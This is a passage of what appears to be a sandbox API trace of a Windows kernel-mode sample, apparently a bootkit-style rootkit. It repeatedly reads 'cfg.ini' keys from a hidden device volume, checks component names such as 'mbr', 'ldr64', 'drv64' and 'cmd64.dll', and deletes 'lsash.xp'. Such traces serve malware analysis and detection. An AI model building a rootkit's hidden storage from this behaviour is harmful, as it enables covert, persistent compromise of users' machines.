(Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.968] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be7760, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.968] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.968] KeLeaveCriticalRegion () [0122.968] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.968] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.968] KeEnterCriticalRegion () [0122.969] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.969] ExFreePoolWithTag (P=0xfffffa8003825af0, Tag=0x0) [0122.969] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.969] KeLeaveCriticalRegion () [0122.969] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.969] ReleaseMutex (hMutex=0xf0) returned 1 [0122.969] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.969] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.969] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.969] KeEnterCriticalRegion () [0122.969] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.969] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.969] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.969] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.969] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.969] IdePortDispatch () returned 0x103 [0122.969] KeWaitForMutexObject () returned 0x0 [0122.969] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.969] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.969] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.969] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.969] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.969] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbd2f0 [0122.969] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.969] KeLeaveCriticalRegion () [0122.969] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.969] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.969] KeEnterCriticalRegion () [0122.969] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.969] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.969] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.969] KeLeaveCriticalRegion () [0122.969] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.969] KeEnterCriticalRegion () [0122.969] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.969] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.970] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.970] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.970] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.970] IdePortDispatch () returned 0x103 [0122.970] KeWaitForMutexObject () returned 0x0 [0122.970] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.970] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.970] KeLeaveCriticalRegion () [0122.970] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.970] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.970] KeEnterCriticalRegion () [0122.970] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.970] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d87000 [0122.970] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.970] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.970] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.970] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.970] IdePortDispatch () returned 0x103 [0122.970] KeWaitForMutexObject () returned 0x0 [0122.970] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.970] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.970] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.970] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.970] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.970] IdePortDispatch () returned 0x103 [0122.970] KeWaitForMutexObject () returned 0x0 [0122.971] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.971] KeLeaveCriticalRegion () [0122.971] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.971] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.971] KeEnterCriticalRegion () [0122.971] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.971] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.971] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.971] KeLeaveCriticalRegion () [0122.971] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.971] KeEnterCriticalRegion () [0122.971] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.971] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.971] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be7120, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.971] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.971] KeLeaveCriticalRegion () [0122.971] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.971] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.971] KeEnterCriticalRegion () [0122.971] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.971] ExFreePoolWithTag (P=0xfffffa8003bbd2f0, Tag=0x0) [0122.971] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.971] KeLeaveCriticalRegion () [0122.971] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.972] ReleaseMutex (hMutex=0xf0) returned 1 [0122.972] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.972] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0122.972] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.972] KeEnterCriticalRegion () [0122.972] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.972] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.972] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.972] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.972] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.972] IdePortDispatch () returned 0x103 [0122.972] KeWaitForMutexObject () returned 0x0 [0122.972] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.972] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.972] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.972] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.972] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.972] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be7500 [0122.972] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.972] KeLeaveCriticalRegion () [0122.972] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.972] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.972] KeEnterCriticalRegion () [0122.972] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.972] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.972] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.972] KeLeaveCriticalRegion () [0122.972] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.972] KeEnterCriticalRegion () [0122.972] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.972] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.972] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.972] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.972] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.972] IdePortDispatch () returned 0x103 [0122.973] KeWaitForMutexObject () returned 0x0 [0122.973] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.973] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.973] KeLeaveCriticalRegion () [0122.973] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.973] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.973] KeEnterCriticalRegion () [0122.973] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.973] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d88000 [0122.973] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.973] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.973] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.973] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.973] IdePortDispatch () returned 0x103 [0122.973] KeWaitForMutexObject () returned 0x0 [0122.973] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.973] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.973] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.973] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.973] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.973] IdePortDispatch () returned 0x103 [0122.973] KeWaitForMutexObject () returned 0x0 [0122.973] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.974] KeLeaveCriticalRegion () [0122.974] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.974] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.974] KeEnterCriticalRegion () [0122.974] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.974] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.974] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.974] KeLeaveCriticalRegion () [0122.974] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.974] KeEnterCriticalRegion () [0122.974] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.974] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.974] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be2e10, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.974] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.974] KeLeaveCriticalRegion () [0122.974] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.974] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.974] KeEnterCriticalRegion () [0122.974] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.974] ExFreePoolWithTag (P=0xfffffa8003be7500, Tag=0x0) [0122.974] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.974] KeLeaveCriticalRegion () [0122.974] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.974] ReleaseMutex (hMutex=0xf0) returned 1 [0122.975] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0122.975] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0122.975] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0122.975] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.975] KeEnterCriticalRegion () [0122.975] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.975] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.975] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.975] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.975] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.975] IdePortDispatch () returned 0x103 [0122.975] KeWaitForMutexObject () returned 0x0 [0122.975] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.975] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.975] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.975] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.975] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.975] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.975] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.975] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.975] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.975] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.975] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.975] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.975] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.975] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.975] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.975] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.975] KeLeaveCriticalRegion () [0122.975] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.976] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0122.976] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.976] KeEnterCriticalRegion () [0122.976] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.976] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.976] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.976] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.976] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.976] IdePortDispatch () returned 0x103 [0122.976] KeWaitForMutexObject () returned 0x0 [0122.976] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.976] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.976] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.976] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.976] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.976] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.976] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.976] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.976] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.976] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.976] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.976] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.976] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.976] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.976] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.976] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.976] KeLeaveCriticalRegion () [0122.976] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.976] ReleaseMutex (hMutex=0x100) returned 1 [0122.976] Sleep (dwMilliseconds=0x2bf20) [0122.984] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6c80f050, dwHighDateTime=0x1d24fa4)) [0122.984] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0122.984] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.984] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.984] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.984] KeEnterCriticalRegion () [0122.984] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.984] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.984] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.984] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.984] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.984] IdePortDispatch () returned 0x103 [0122.984] KeWaitForMutexObject () returned 0x0 [0122.985] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.985] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.985] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.985] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.985] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.985] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbebb0 [0122.985] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.985] KeLeaveCriticalRegion () [0122.985] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.985] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.985] KeEnterCriticalRegion () [0122.985] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.985] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.985] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.985] KeLeaveCriticalRegion () [0122.985] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.985] KeEnterCriticalRegion () [0122.985] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.985] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.985] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.985] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.985] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.985] IdePortDispatch () returned 0x103 [0122.985] KeWaitForMutexObject () returned 0x0 [0122.985] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.985] ExReleaseFastMutexUnsafe (in: 